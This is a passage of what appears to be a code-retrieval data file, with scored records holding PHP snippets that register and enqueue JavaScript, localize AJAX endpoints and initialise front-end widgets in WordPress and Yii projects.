wp_enqueue_script($handle, $src, $deps, $ver, $in_footer);\n }", "title": "" }, { "docid": "1cc17c400967bf03c11a509bcc6de3ca", "score": "0.6107274", "text": "public function getAjaxHandlers()\n {\n // TODO: Implement getAjaxHandlers() method.\n }", "title": "" }, { "docid": "55547e0858dda9a29834570dde48e0ff", "score": "0.61048806", "text": "protected function client_side_register()\r\n\t{\r\n\treturn '\r\n\t<script language=\"javascript\" type=\"text/javascript\">\r\n\t\tEvent.observe(window,\\'load\\','.$this->client_id().'_init);\r\n\t</script>'.spchr::endl;\r\n\t}", "title": "" }, { "docid": "9af7eb0f8500406a13367883ca9c94c5", "score": "0.6103172", "text": "function yogastudio_core_frontend_scripts_inline() {\n $vars = yogastudio_storage_get('js_vars');\n if (empty($vars) || !is_array($vars)) $vars = array();\n wp_localize_script('yogastudio-core-init-script', 'YOGASTUDIO_STORAGE', apply_filters('yogastudio_action_add_scripts_inline', $vars));\n $code = yogastudio_storage_get('js_code');\n if (!empty($code)) {\n $st = '<';\n $ct = '/';\n $et = '>';\n yogastudio_show_layout($code, \"{$st}script{$et}jQuery(document).ready(function(){\", \"});{$st}{$ct}script{$et}\");\n }\n\t}", "title": "" }, { "docid": "76748b5cbe74532ad097dae15d295fd7", "score": "0.61012995", "text": "public function insert_inline_scripts() {\n }", "title": "" }, { "docid": "74d2da12460d1af8a01b0b90f6fd58e7", "score": "0.608414", "text": "function hw_cplw_scripts_method() {\r\n wp_enqueue_script( 'jquery' ); //enqueue jquery wp core\r\n wp_enqueue_script('jquery-ui',HWTPL_PLUGIN_URL. ('/js/jquery-ui-1.10.3.custom.min.js'),array('jquery'),0,true); //jquery-ui\r\n #wp_enqueue_script('jquery-ui');\r\n\r\n wp_enqueue_script('cycle_js', HWTPL_PLUGIN_URL.('/js/jquery.cycle.all.js'));\r\n wp_enqueue_script('hwtpl_frontend_js', HWTPL_PLUGIN_URL.('/js/js.js'));\r\n // in JavaScript, object properties are accessed as ajax_object.ajax_url, ajax_object.we_value\r\n wp_localize_script( 'hwtpl_frontend_js', '__hwcpl_object', $this->serialize_data);\r\n }", "title": "" }, { "docid": "2db83083ad7501fd22ba4b8b1add2f50", "score": "0.6075384", "text": "public static function register_ajax_actions()\n {\n add_action('wp_ajax_ax_run_ds_tests', 'AX_Test_Debitsuccess::ajax_run_ds_tests');\n\n }", "title": "" }, { "docid": "3d45e2f1f1adb14321b22e8c24480f4d", "score": "0.6056459", "text": "public function registerClientScript() {\n $id = $this->buttonOptions['id'];\n $view = $this->getView();\n\n $js = \"\";\n $js .= $this->getCookieFuncJs();\n\n\n $js .= \"var countdown;\n function settime(obj) {\n countdown=getCookieValue('secondsremained_login') ? getCookieValue('secondsremained_login') : 0;\n if (countdown ==0) {\n obj.removeAttr('disabled');\n obj.text('\" . Yii::t('app.c2', 'Retrive Sms Code') . \"');\n return;\n } else {\n obj.attr('disabled', true);\n obj.text(countdown + '\" . Yii::t('app.c2', 'seconds resend') . \"');\n countdown--;\n editCookie('secondsremained_login',countdown,countdown+1);\n }\n setTimeout(function() { settime(obj) },1000) //1 second\n }\n settime($('#{$id}'));\n \";\n $js .= \"\\n\";\n\n $js .= \"$('#{$id}').on('click', function(e) {\n e.preventDefault();\n// var myreg = /^(((13[0-9]{1})|(15[0-9]{1})|(18[0-9]{1}))+\\d{8})$/; \n// if($('#{$this->mobileId}').val() == ''){\n// bootbox.alert('\" . Yii::t('app.c2', \"Mobile number is required!\") . \"');\n// return false;\n// }else if(!myreg.test($('#{$this->mobileId}').val())){\n// bootbox.alert('\" . Yii::t('app.c2', \"Mobile number must be right!\") . \"');\n// return false;\n// }\n \n addCookie('secondsremained_login',\" . $this->delaySeconds . \", \" . $this->delaySeconds . \");//valid time 60s\n settime($('#{$id}'));\n var vForm = jQuery('#\" . $this->form->options['id'] . \"');\n var data = {mobile: $('#{$this->mobileId}').val()};\n $.ajax({\n url: '\" . Url::toRoute($this->captchaAction) . \"',\n type: 'post',\n data: data,\n success: function(data) {\n// bootbox.alert(data._meta.message);\n },\n error :function(data){alert(data._meta.message);}\n });\n return false;\n });\";\n $js .= \"\\n\";\n $view->registerJs($js);\n }", "title": "" }, { "docid": "906d2686118005b50a8a86fbebd68a93", "score": "0.60555667", "text": "public function addJs()\n {\n if (self::$_jsAdded) return '';\n self::$_jsAdded = TRUE;\n\t\treturn '<script type=\"text/javascript\" src=\"'.Mage::getBaseUrl('js').'jquery/slides.min.jquery.js\"></script>';\n\t}", "title": "" }, { "docid": "6ef9ac22cd8bcc3695d4934d81a2b2a5", "score": "0.6054211", "text": "function wsl_add_javascripts()\r\n{\r\n\t$wsl_settings_use_popup = get_option( 'wsl_settings_use_popup' );\r\n\r\n // if a user is visiting using a mobile device, WSL will fall back to more in page\r\n\t$wsl_settings_use_popup = function_exists( 'wp_is_mobile' ) ? wp_is_mobile() ? 2 : $wsl_settings_use_popup : $wsl_settings_use_popup;\r\n\r\n\tif( $wsl_settings_use_popup != 1 )\r\n\t{\r\n\t\treturn null;\r\n\t}\r\n\r\n\tif( ! wp_script_is( 'wsl-widget', 'registered' ) )\r\n\t{\r\n\t\twp_register_script( \"wsl-widget\", WORDPRESS_SOCIAL_LOGIN_PLUGIN_URL . \"assets/js/widget.js\" );\r\n\t}\r\n\r\n\twp_enqueue_script( \"jquery\" );\r\n\twp_enqueue_script( \"wsl-widget\" );\r\n}", "title": "" }, { "docid": "320ac8f19d7ba36524c48ca5dac4a99e", "score": "0.6048844", "text": "function myphotolinks_frontend_js() {\n\n wp_enqueue_script( 'myphotolinks_frontend_js',\n MYPHOTOLINKS_URL . 'views/public/js/myphotolinks.js',\n array('jquery'),\n MYPHOTOLINKS_VERSION,\n true\n );\n\n wp_localize_script( 'myphotolinks_frontend_js',\n 'myphotolinks_config',\n array(\n 'ajax_url' => admin_url( 'admin-ajax.php' ) // myphotolinks_config.ajax_url\n )\n );\n\n }", "title": "" }, { "docid": "99205c78cd2c56a0955d8af3169784a0", "score": "0.60474044", "text": "public function _envato_load_scripts() {\n\t\t\twp_enqueue_script('theme-preview');\n\t\t\twp_enqueue_script('ajax-notification', get_template_directory_uri() . '/inc/envato-wordpress-toolkit-master/assets/js/ajax-notification.js', false, EWPT_PLUGIN_VER);\n\t\t}", "title": "" }, { "docid": "d87c53c5e0318a377b671b21ae79fb99", "score": "0.60413855", "text": "protected function registerClientScript()\n {\n $view = $this->getView();\n if ($tinyAssetBundle = TinyMceAsset::register($view)) {\n $this->copyExtensions($tinyAssetBundle);\n }\n $id = $this->options['id'] ?: $this->getId();\n $this->clientOptions['selector'] = \"#{$id}\";\n $this->clientOptions['language'] = isset($this->clientOptions['language']) ? $this->clientOptions['language'] : $this->language;\n\n if ($this->fileManager !== false) {\n /** @var $fm FileManager */\n $fm = Yii::createObject(array_merge($this->fileManager, [\n 'tinyMceSettings' => $this->clientOptions,\n 'parentView' => $view]));\n $fm->init();\n $fm->registerAsset();\n\n $this->clientOptions['file_picker_callback'] = $fm->getFilePickerCallback();\n }\n $js = [];\n $options = Json::encode($this->clientOptions);\n $js[] = \"tinymce.init({$options});\";\n if ($this->triggerSaveOnBeforeValidateForm) {\n $js[] = \"$('#{$id}').parents('form').on('beforeValidate', function() { tinymce.triggerSave(); });\";\n }\n $view->registerJs(implode(\"\\n\", $js));\n }", "title": "" }, { "docid": "5c91db04b3a46c1bc02e65058ebb765e", "score": "0.60409105", "text": "public function registerClientScript()\n {\n parent::registerClientScript();\n //Задаем параметр обновления родительского окна после закрытия\n if (Yii::$app->request->isAjax && ReturnUrl::isSetReturnUrl()) {\n $this->view->registerJs('var parent_window_reloaded = 1');\n }\n }", "title": "" }, { "docid": "7caaf2a556acac5c9afd9ba3a8eeb556", "score": "0.60242647", "text": "public function add_scripts() {\n\n\t\t\t\tFusion_Dynamic_JS::enqueue_script(\n\t\t\t\t\t'jquery-title-textillate',\n\t\t\t\t\tFusionBuilder::$js_folder_url . '/library/jquery.textillate.js',\n\t\t\t\t\tFusionBuilder::$js_folder_path . '/library/jquery.textillate.js',\n\t\t\t\t\t[ 'jquery' ],\n\t\t\t\t\t'2.0',\n\t\t\t\t\ttrue\n\t\t\t\t);\n\n\t\t\t\tFusion_Dynamic_JS::enqueue_script(\n\t\t\t\t\t'fusion-title',\n\t\t\t\t\tFusionBuilder::$js_folder_url . '/general/fusion-title.js',\n\t\t\t\t\tFusionBuilder::$js_folder_path . '/general/fusion-title.js',\n\t\t\t\t\t[ 'jquery' ],\n\t\t\t\t\t'1',\n\t\t\t\t\ttrue\n\t\t\t\t);\n\t\t\t}", "title": "" }, { "docid": "e7ee10432885b39ae4667a1c4d8b3594", "score": "0.6008245", "text": "public function add_ajax_events() {\n\n\t\t$ajax_events = array(\n\t\t\t'remove' => false\n\t\t);\n\n\t\tforeach ( $ajax_events as $ajax_event => $nopriv ) {\n\t\t\tadd_action( 'wp_ajax_client_notifications_' . $ajax_event, array( $this, $ajax_event . '_ajax' ) );\n\n\t\t\tif ( $nopriv ) {\n\t\t\t\tadd_action( 'wp_ajax_nopriv_client_notifications_' . $ajax_event, array( $this, $ajax_event . '_ajax' ) );\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "5e3f5b9df514c54ec239964b9c193a01", "score": "0.60065407", "text": "public static function init_handlers() {\n foreach ( self::$ajax_event_table as $ajax_event => $nopriv ) {\n add_action( 'wp_ajax_wccs_' . $ajax_event, __CLASS__ . '::' . $ajax_event );\n\n if ( $nopriv ) {\n add_action( 'wp_ajax_nopriv_wccs_' . $ajax_event, __CLASS__ . '::' . $ajax_event );\n }\n }\n }", "title": "" }, { "docid": "4749330c2c437db5ba82840756a13180", "score": "0.6006043", "text": "private function _registerClientScript()\n {\n $view = $this->getView();\n Asset::register($view);\n }", "title": "" }, { "docid": "f0f9ebdbef12e4ffb42c02744e61b13f", "score": "0.60059404", "text": "public function registerClientScript()\n {\n $id = $this->options['id'];\n\n if ($this->loadUrl !== null) {\n $url = Url::to($this->loadUrl);\n $this->clientOptions['load'] = new JsExpression(\"function (query, callback) { if (!query.length) return callback(); $.getJSON('$url', { {$this->queryParam}: query }, function (data) { callback(data); }).fail(function () { callback(); }); }\");\n }\n\n $options = Json::encode($this->clientOptions);\n $view = $this->getView();\n SelectizeAsset::register($view);\n $view->registerJs(\"jQuery('#$id').selectize($options);\");\n }", "title": "" }, { "docid": "192cbb560520704573aa0f321efde68d", "score": "0.6003792", "text": "public function registerClientScript()\n\t{\n\t\t$id=$this->getId();\n\t\t$columnDefs = $this->initColumnsJS();\n\t\tif (isset($this->options['aoColumnDefs'])) {\n\t\t\t$this->options['aoColumnDefs'] = array_merge($columnDefs, $this->options['aoColumnDefs']);\n\t\t}\n\t\t$defaultOptions = array(\n\t\t\t'baseUrl'\t\t\t=> CJSON::encode(Yii::app()->baseUrl),\n\t\t\t'bootstrap'\t\t\t=> $this->bootstrap,\n\t\t\t// options inherited from CGridView JS scripts\n\t\t\t'ajaxUpdate'\t\t=> $this->ajaxUpdate===false ? false : array_unique(preg_split('/\\s*,\\s*/',$this->ajaxUpdate.','.$id,-1,PREG_SPLIT_NO_EMPTY)),\n\t\t\t'ajaxOpts'\t\t\t=> $this->serverData,\n\t\t\t'pagerClass'\t\t=> $this->bootstrap ? 'paging_bootstrap pagination' : $this->pagerCssClass,\n\t\t\t'loadingClass'\t\t=> $this->loadingCssClass,\n\t\t\t'filterClass'\t\t=> $this->filterCssClass,\n\t\t\t//'tableClass'\t\t=> $this->itemsCssClass,\n\t\t\t'selectableRows'\t=> $this->selectableRows,\n\t\t\t// dataTables options\n\t\t\t'asStripClasses'\t=> $this->rowCssClass,\n\t\t\t'iDeferLoading'\t\t=> $this->dataProvider->getTotalItemCount(),\n\t\t\t'sAjaxSource'\t\t=> CHtml::normalizeUrl($this->ajaxUrl),\n\t\t\t'aoColumnDefs'\t\t=> $columnDefs,\n\t\t\t'sDom'\t\t\t\t=> $this->bootstrap ? \"<'row'<'span3'l><'dataTables_toolbar'><'pull-right'f>r>t<'row'<'span3'i><'pull-right'p>>\" : \"<'H'l<'dataTables_toolbar'>fr>t<'F'ip>\",\n\t\t\t'bScrollCollapse'\t=> false,\n\t\t\t'bStateSave'\t\t=> false,\n\t\t\t'bPaginate'\t\t\t=> true,\n\t\t\t'sCookiePrefix'\t\t=> 'edt_',\n\t\t\t'bJQueryUI'\t\t\t=> !$this->bootstrap,\n\t\t);\n\t\tif (Yii::app()->getLanguage() !== 'en_us') {\n\t\t\t// those are the defaults in the DataTables plugin JS source,\n\t\t\t// we don't need to set them if app language is already en_us\n\t\t\t$defaultOptions['oLanguage'] = array(\n\t\t\t\t\"oAria\" => array(\n\t\t\t\t\t\"sSortAscending\" => Yii::t('EDataTables.edt',\": activate to sort column ascending\"),\n\t\t\t\t\t\"sSortDescending\" => Yii::t('EDataTables.edt',\": activate to sort column descending\"),\n\t\t\t\t),\n\t\t\t\t\"oPaginate\" => array(\n\t\t\t\t\t\"sFirst\" => Yii::t('EDataTables.edt',\"First\"),\n\t\t\t\t\t\"sLast\" => Yii::t('EDataTables.edt',\"Last\"),\n\t\t\t\t\t\"sNext\" => Yii::t('EDataTables.edt',\"Next\"),\n\t\t\t\t\t\"sPrevious\" => Yii::t('EDataTables.edt',\"Previous\"),\n\t\t\t\t),\n\t\t\t\t\"sEmptyTable\" => Yii::t('EDataTables.edt',\"No data available in table\"),\n\t\t\t\t\"sInfo\" => Yii::t('EDataTables.edt',\"Showing _START_ to _END_ of _TOTAL_ entries\"),\n\t\t\t\t\"sInfoEmpty\" => Yii::t('EDataTables.edt',\"Showing 0 to 0 of 0 entries\"),\n\t\t\t\t\"sInfoFiltered\" => Yii::t('EDataTables.edt',\"(filtered from _MAX_ total entries)\"),\n\t\t\t\t//\"sInfoPostFix\" => \"\",\n\t\t\t\t//\"sInfoThousands\" => \",\",\n\t\t\t\t\"sLengthMenu\" => Yii::t('EDataTables.edt',\"Show _MENU_ entries\"),\n\t\t\t\t\"sLoadingRecords\" => Yii::t('EDataTables.edt',\"Loading...\"),\n\t\t\t\t\"sProcessing\" => Yii::t('EDataTables.edt',\"Processing...\"),\n\t\t\t\t\"sSearch\" => Yii::t('EDataTables.edt',\"Search:\"),\n\t\t\t\t//\"sUrl\" => \"\",\n\t\t\t\t\"sZeroRecords\" => Yii::t('EDataTables.edt',\"No matching records found\"),\n\t\t\t);\n\t\t\t$localeSettings = localeconv();\n\t\t\tif (!empty($localeSettings['decimal_point'])) {\n\t\t\t\t$defaultOptions['oLanguage'][\"sInfoThousands\"] = $localeSettings['decimal_point'];\n\t\t\t}\n\t\t}\n\t\t$options=array_merge($defaultOptions, $this->options);\n\t\tif($this->newAjaxUrl!==null)\n\t\t\t$options['newUrl']=CHtml::normalizeUrl($this->newAjaxUrl);\n\t\tif($this->ajaxUrl!==null)\n\t\t\t$options['url']=CHtml::normalizeUrl($this->ajaxUrl);\n\t\tif($this->updateSelector!==null)\n\t\t\t$options['updateSelector']=$this->updateSelector;\n\t\tif($this->enablePagination)\n\t\t\t$options['pageVar']=$this->dataProvider->getPagination()->pageVar;\n\t\tif($this->bootstrap)\n\t\t\t$options['sPaginationType'] = 'bootstrap';\n\t\tif ($this->datatableTemplate)\n\t\t\t$options['sDom'] = $this->datatableTemplate;\n\t\t// not used in jdatatables.js, used in fnServerData set below\n\t\t//! @todo as of datatables 1.9.0 fnServerData could be simplified, since we only modify aoData's properties\n\t\t//if($this->beforeAjaxUpdate!==null)\n\t\t//\t$options['beforeAjaxUpdate']=(strpos($this->beforeAjaxUpdate,'js:')!==0 ? 'js:' : '').$this->beforeAjaxUpdate;\n\t\tif($this->afterAjaxUpdate!==null)\n\t\t\t$options['afterAjaxUpdate']=(strpos($this->afterAjaxUpdate,'js:')!==0 ? 'js:' : '').$this->afterAjaxUpdate;\n\t\tif($this->ajaxUpdateError!==null)\n\t\t\t$options['ajaxUpdateError']=(strpos($this->ajaxUpdateError,'js:')!==0 ? 'js:' : '').$this->ajaxUpdateError;\n\t\tif($this->selectionChanged!==null)\n\t\t\t$options['selectionChanged']=(strpos($this->selectionChanged,'js:')!==0 ? 'js:' : '').$this->selectionChanged;\n\t\t$options['buttons']=array_merge(array(\n\t\t\t'refresh' => array(\n\t\t\t\t'label' => 'Odśwież',\n\t\t\t\t'text' => false,\n\t\t\t\t'htmlClass' => 'refreshButton',\n\t\t\t\t'icon' => $this->bootstrap ? 'icon-refresh' : 'ui-icon-refresh',\n\t\t\t\t'callback' => null //default will be used, if possible\n\t\t\t),\n\t\t\t'print' => array(\n\t\t\t\t'label' => 'Drukuj',\n\t\t\t\t'text' => false,\n\t\t\t\t'htmlClass' => 'printButton',\n\t\t\t\t'icon' => $this->bootstrap ? 'icon-print' : 'ui-icon-print',\n\t\t\t\t'callback' => null //default will be used, if possible\n\t\t\t),\n\t\t\t'export' => array(\n\t\t\t\t'label' => 'CSV',\n\t\t\t\t'text' => false,\n\t\t\t\t'htmlClass' => 'exportButton',\n\t\t\t\t'icon' => $this->bootstrap ? 'icon-download-alt' : 'ui-icon-disk',\n\t\t\t\t'callback' => null //default will be used, if possible\n\t\t\t),\n\t\t\t'new' => array(\n\t\t\t\t'label' => 'Dodaj',\n\t\t\t\t'text' => true,\n\t\t\t\t'htmlClass' => 'newButton',\n\t\t\t\t'icon' => $this->bootstrap ? 'icon-plus' : 'ui-icon-document',\n\t\t\t\t'callback' => null //default will be used, if possible\n\t\t\t)\n\t\t),$this->buttons);\n\n\t\t/**\n\t\t * unserialize unsaved data into JS data structures, ready to be binded to DOM elements through .data()\n\t\t */\n\t\t$values = array();\n\t\tparse_str($this->unsavedChanges['values'], $values);\n\t\t$us = trim($this->unsavedChanges['selected'],',');\n\t\t$ud = trim($this->unsavedChanges['deselected'],',');\n\t\t$options['unsavedChanges'] = array(\n\t\t\t'selected' => !empty($us) ? array_fill_keys(explode(',',$us),true) : array(),\n\t\t\t'deselected' => !empty($ud) ? array_fill_keys(explode(',',$ud),true) : array(),\n\t\t\t'values' => $values,\n\t\t);\n\n\t\t$baseUrl = Yii::app()->baseUrl;\n\n\t\t$serverData = array(\n\t\t\t\"aoData.push({'name': '\".$this->ajaxVar.\"', 'value': '\".$this->getId().\"'});\"\n\t\t);\n\t\tif (isset($this->serverData) && is_array($this->serverData)) {\n\t\t\tforeach($this->serverData as $k => $s) {\n\t\t\t\t$serverData[] = \"aoData.push({'name': '$k', 'value': \".(substr($s,0,3) === 'js:' ? substr($s,3) : \"'$s'\").\"});\";\n\t\t\t}\n\t\t}\n\t\t$formData = '';\n\t\tif ($this->filterForm !== null) {\n\t\t\t\t$formData .= <<<EOT\n\t\t\t$.merge(aoData,$('{$this->filterForm}').serializeArray());\n\t\t\tvar csrfToken = $('{$this->filterForm} input[name=YII_CSRF_TOKEN]');\n\t\t\tif (csrfToken.length > 0)\n\t\t\t\taoData.push({'name': 'YII_CSRF_TOKEN','value':csrfToken.val()});\n\t\t\taoData.push({'name':'submit','value':true});\nEOT;\n\t\t}\n\t\tif (!empty($this->filterColumnsMap)) {\n\t\t\t$columnsMap = array();\n\t\t\tforeach($this->filterColumnsMap as $idx => $filter_id) {\n\t\t\t\tif (is_numeric($idx)) {\n\t\t\t\t\t$columnsMap[] = \"case 'sSearch_$idx': aoData[i].value = $('#$filter_id').val(); break;\";\n\t\t\t\t} else {\n\t\t\t\t\t$name = strpos($idx,'js:')===0 ? substr($idx,3) : \"'$idx'\";\n\t\t\t\t\t$serverData[] = \"aoData.push({'name': $name, 'value': $('#$filter_id').val()});\";\n\t\t\t\t}\n\t\t\t}\n\t\t\tif (!empty($columnsMap)) {\n\t\t\t\t$columnsMap = implode(\"\\n\\t\\t\\t\\t\",$columnsMap);\n\t\t\t\t$formData .= <<<EOT\n\t\t\tfor(var i in aoData) {\n\t\t\t\tswitch(aoData[i].name) {\n\t\t\t\t\tdefault: break;\n\t\t\t\t\t$columnsMap\n\t\t\t\t}\n\t\t\t}\nEOT;\n\t\t\t}\n\t\t}\n\t\t$options['fnServerData'] = \"js:function ( sSource, aoData, fnCallback ) {\n\t\t\t\".implode(\"\\n\\t\\t\\t\",$serverData).<<<EOT\n\t\t\t$formData\n\t\t\tvar settings = $.fn.eDataTables.settings['{$this->getId()}'];\n\t\t\tif(settings.beforeAjaxUpdate !== undefined)\n\t\t\t\tsettings.beforeAjaxUpdate('{$this->getId()}');\n\t\t\t$.ajax( {\n\t\t\t\t'dataType': 'json',\n\t\t\t\t'type': 'POST',\n\t\t\t\t'url': sSource,\n\t\t\t\t'data': aoData,\n\t\t\t\t'success': [function(data){return $('#{$this->getId()}').eDataTables('ajaxSuccess', data);},fnCallback],\n\t\t\t\t'error': function(XHR, textStatus, errorThrown){return \\$.fn.eDataTables.ajaxError(XHR, textStatus, errorThrown, settings)}\n\t\t\t} );\n\t\t}\nEOT;\n\t\t\n\t\t$options=CJavaScript::encode($options);\n\t\tself::initClientScript($this->bootstrap, $this->fixedHeaders !== null);\n\t\t$cs=Yii::app()->getClientScript();\n\t\t$cs->registerScript(__CLASS__.'#'.$id,\"jQuery('#$id').eDataTables($options);\");\n\t\tif ($this->fixedHeaders !== null) {\n\t\t\t//$cs->registerScript(__CLASS__.'#'.$id.'_fixedheader',\"new FixedHeader( $.fn.eDataTables.tables['$id'], \".CJavaScript::encode($this->fixedHeaders).\" );\");\n\t\t\t//$cs->registerScript(__CLASS__.'#'.$id.'_fixedheader',\"new FixedColumns( $.fn.eDataTables.tables['$id'], \".CJavaScript::encode($this->fixedHeaders).\" );\");\n\t\t}\n\t}", "title": "" }, { "docid": "25a80cace6378beaa32662d506676524", "score": "0.5996518", "text": "public function loadScripts()\n {\n wp_register_script( 'FM_facebookScript', FleetManager::$PLUGIN_URL . 'ressources/js/facebookScript.js', array( 'jquery' ) );\n wp_localize_script( 'FM_facebookScript', 'FB_util', array(\n 'ajaxurl' => admin_url( 'admin-ajax.php' ),\n 'appId' => self::$APP_ID,\n 'nonce' => wp_create_nonce( 'facebookScript' ),\n ) );\n wp_enqueue_script( 'FM_facebookScript' );\n }", "title": "" }, { "docid": "bdb679730ccbbc23229d63eca1f446c6", "score": "0.5991244", "text": "function plae_ajax_enqueue() {\n\n\twp_localize_script(\n\t\t'plae-ajax-script',\n\t\t'plae_ajax_obj',\n\t\t[\n\t\t\t'ajax_url' => admin_url( 'admin-ajax.php' ),\n\t\t]\n\t);\n\n}", "title": "" }, { "docid": "e0ef353ee933e6c069880b80f1e03740", "score": "0.59842914", "text": "public function setup_admin_scripts() {\n\n\t\t\twp_register_script( 'jquery-autocomplete-ajax-search', plugins_url( 'js/jquery.autocomplete.min.js', __FILE__ ), array( 'jquery' ), self::VERSION, true );\n\t\t\twp_register_script( 'cmb-ajax-search', plugins_url( 'js/ajax-search.js', __FILE__ ), array( 'jquery', 'jquery-autocomplete-ajax-search', 'jquery-ui-sortable' ), self::VERSION, true );\n\n\t\t\twp_localize_script( 'cmb-ajax-search', 'cmb_ajax_search', array(\n\t\t\t\t'ajaxurl' \t=> admin_url( 'admin-ajax.php' ),\n\t\t\t\t'nonce'\t\t=> wp_create_nonce( 'cmb_ajax_search_get_results' )\n\t\t\t) );\n\n\t\t\twp_enqueue_script( 'cmb-ajax-search' );\n\t\t\twp_enqueue_style( 'cmb-ajax-search', plugins_url( 'css/ajax-search.css', __FILE__ ), array(), self::VERSION );\n\n\t\t}", "title": "" }, { "docid": "88c3573807f486fb78e2378560900627", "score": "0.59818834", "text": "function add_scripts_frontend() {\n\t\t\twp_enqueue_script('jquery.validate');\n\t\t\twp_enqueue_script('jquery.validate-additional');\n\t\t\twp_enqueue_script('jquery.inputmask');\n\t\t\twp_enqueue_script('calc_scripts');\n\n\t\t\twp_localize_script(\n\t\t\t\t'calc_scripts',\n\t\t\t\t'calc_jax',\n\t\t\t\tarray(\n\t\t\t\t\t'ajaxurl' => admin_url( 'admin-ajax.php' ),\n\t\t\t\t\t'calcJSurl' => CALC_JS_URL\n\t\t\t\t\t)\n\t\t\t);\n\n\t\t}", "title": "" }, { "docid": "6f4f2d9d13fdf1c4a08ab5a596764a7d", "score": "0.59794927", "text": "public function init()\n {\n $this->registerClientScript();\n }", "title": "" }, { "docid": "74b7f916512c51e095a387e0b8c4069d", "score": "0.59737366", "text": "function inf_register_scripts() {\n $mailchimpkeys = ps_get_mailchimp_keys();\n\n // jQuery.\n $jquery_cdn = 'https://ajax.googleapis.com/ajax/libs/jquery/3.1.1/jquery.min.js';\n $jquery_cdn_response = wp_remote_get( $jquery_cdn )['response']['code'];\n\n if ( 200 === $jquery_cdn_response ) {\n wp_deregister_script( 'jquery' );\n wp_register_script( 'jquery', $jquery_cdn, array(), '3.1.1' );\n wp_enqueue_script( 'jquery' );\n } else {\n wp_enqueue_script( 'jquery' );\n }\n\n // JS.\n wp_register_script( 'scripts', get_template_directory_uri() . '/skin/public/scripts/application.js', array( 'jquery' ), ASSETS_VERSION );\n wp_enqueue_script( 'scripts' );\n\n // CSS.\n wp_register_style( 'style', get_template_directory_uri() . '/skin/public/styles/application.css', array(), ASSETS_VERSION );\n wp_enqueue_style( 'style' );\n\n // LIBS.\n wp_register_style( 'font-awesome-css', 'https://cdn.jsdelivr.net/npm/[email protected]/css/font-awesome.min.css' );\n wp_enqueue_style( 'font-awesome-css' );\n\n // Ajax.\n wp_localize_script(\n 'scripts', 'themeLocalization', array(\n 'ajaxurl' => admin_url( 'admin-ajax.php' ),\n 'mailchimpkeys' => $mailchimpkeys\n )\n );\n }", "title": "" }, { "docid": "4c599970c11342391ffc9d0d8e4ad445", "score": "0.59687227", "text": "protected function registerClientScript()\n {\n $view = $this->getView();\n $language = ArrayHelper::getValue($this->clientOptions, 'language');\n\n switch ($this->type) {\n case 'address':\n EditableAddressAsset::register($view);\n break;\n case 'combodate':\n EditableComboDateAsset::register($view);\n break;\n case 'date':\n if ($language) {\n EditableDatePickerAsset::register(\n $view\n )->js[] = 'vendor/js/locales/bootstrap-datetimepicker.' . $language . '.js';\n } else {\n EditableDatePickerAsset::register($view);\n }\n break;\n case 'datetime':\n if ($language) {\n EditableDateTimePickerAsset::register(\n $view\n )->js[] = 'vendor/js/locales/bootstrap-datetimepicker.' . $language . '.js';\n } else {\n EditableDateTimePickerAsset::register($view);\n }\n break;\n case 'select2':\n EditableSelect2Asset::register($view);\n break;\n case 'wysihtml5':\n $language = $language ? : 'en-US';\n EditableWysiHtml5Asset::register(\n $view\n )->js[] = 'vendor/locales/bootstrap-wysihtml5.' . $language . '.js';\n break;\n default:\n EditableBootstrapAsset::register($view);\n }\n\n $id = ArrayHelper::remove($this->clientOptions, 'selector', '#' . $this->options['id']);\n \n // Escape meta-characters in element Id\n // http://api.jquery.com/category/selectors/\n // This actually only needs to be done for dots, since Html::getInputId\n // will enforce word-only characters.\n $id = preg_replace('/([.])/', '\\\\\\\\\\\\\\$1', $id);\n\n $this->clientOptions['url'] = Url::toRoute($this->url);\n $this->clientOptions['type'] = $this->type;\n $this->clientOptions['mode'] = $this->mode;\n $this->clientOptions['name'] = $this->attribute ? : $this->name;\n $pk = ArrayHelper::getValue(\n $this->clientOptions,\n 'pk',\n $this->hasModel() ? $this->model->getPrimaryKey() : null\n );\n $this->clientOptions['pk'] = base64_encode(serialize($pk));\n if ($this->hasModel() && $this->model->isNewRecord) {\n $this->clientOptions['send'] = 'always'; // send to server without pk\n }\n\n $options = Json::encode($this->clientOptions);\n $js = \"jQuery('$id').editable($options);\";\n $view->registerJs($js);\n\n if (!empty($this->clientEvents)) {\n $js = [];\n foreach ($this->clientEvents as $event => $handler) {\n $js[] = \"jQuery('$id').on('$event', $handler);\";\n }\n $view->registerJs(implode(\"\\n\", $js));\n }\n\n }", "title": "" }, { "docid": "67e28c92c2037864bbf21a554e0dfae1", "score": "0.59685475", "text": "public function register_scripts()\n {\n\t// styles\n\twp_enqueue_style( 'styles-ingredient', AFR_PLUGIN_URL . '/css/ingredient-styles.css');\n\twp_enqueue_style( 'jquery-ui', 'http://code.jquery.com/ui/1.8.20/themes/smoothness/jquery-ui.css'); // CDN\n\t\n\t// jquery core\n\twp_enqueue_script('jquery');\t\n\t// jquery ui\n\twp_deregister_script('jquery-ui');\n\twp_register_script('jquery-ui','http://ajax.googleapis.com/ajax/libs/jqueryui/1.8/jquery-ui.min.js',array('jquery')); // CDN\n\twp_enqueue_script('jquery-ui');\n\t// js ajax functions\n\twp_enqueue_script(\n\t\t'ajax-ingredient',\n\t\tAFR_PLUGIN_URL . '/js/ajax-ingredient.js',\n\t\tarray('jquery')\n\t);\n\t\n\t/**\n\t * Localizes a script, but only if script has already been added\n\t * see more documentation at http://codex.wordpress.org/Function_Reference/wp_localize_script\n\t */\n\twp_localize_script('ajax-ingredient', 'Ajax', array( \n\t\t'ajaxurl' => admin_url( 'admin-ajax.php' ),\n\t\t'ajaxIngredientNonce' => wp_create_nonce( self::NONCE_AJAX ) // create nonce for AJAX\n\t));\n }", "title": "" }, { "docid": "aa573017d598c26ec3e75c87eaa37ba1", "score": "0.5966791", "text": "public function loadJavaScript()\r\n {\r\n $this->page->loadJavaScript($this->file);\r\n }", "title": "" }, { "docid": "f9eb383b5b580dac1e22eb6e98099c7f", "score": "0.5964403", "text": "public function add_admin_js_vars()\n {\n ?>\n <script type='text/javascript'>\n var wordpress_fire_push_settings = <?php echo json_encode(array(\n 'ajax_url' => admin_url('admin-ajax.php'),\n )); ?>\n </script>\n <?php\n }", "title": "" }, { "docid": "4af1cd9660dba3d992d8d47cd8c1e59b", "score": "0.5950944", "text": "public function initializeFunctions(){\r\n self::$js['ext']='<script language=\"javascript\"\r\nsrc=\"functions.js\"></script>';\r\n }", "title": "" }, { "docid": "9f170cdf95255d3650d5e7a216d39a94", "score": "0.59509003", 